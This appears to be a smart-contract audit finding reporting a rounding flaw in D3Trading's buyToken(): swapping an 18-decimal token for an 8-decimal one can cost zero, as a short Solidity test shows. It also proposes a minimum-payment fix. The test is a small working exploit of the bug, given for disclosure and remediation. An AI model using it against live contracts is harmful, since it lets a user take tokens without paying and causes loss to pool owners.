When swapping 18-decimal token to 8-decimal token , user could buy decimal-18-token with 0 amount of decimal-8-token
Here is the poc:\\n```\\nuint256 payFromToken = d3Proxy.buyTokens(\\n            address(d3MM),\\n            user1,\\n            address(token1),\\n            address(token2),\\n            10000000,\\n            0,\\n            abi.encode(swapData),\\n            block.timestamp + 1000\\n        );\\nassertEq(payFromToken, 0);\\n```\\n
In buyToken() of D3Trading.sol, add this rule:\\n```\\nif(payFromAmount == 0) { // value too small\\n            payFromAmount = 1;\\n        }\\n```\\n
It may cause unexpected loss\\nTool Used\\nManual Review
```\\nuint256 payFromToken = d3Proxy.buyTokens(\\n            address(d3MM),\\n            user1,\\n            address(token1),\\n            address(token2),\\n            10000000,\\n            0,\\n            abi.encode(swapData),\\n            block.timestamp + 1000\\n        );\\nassertEq(payFromToken, 0);\\n```\\n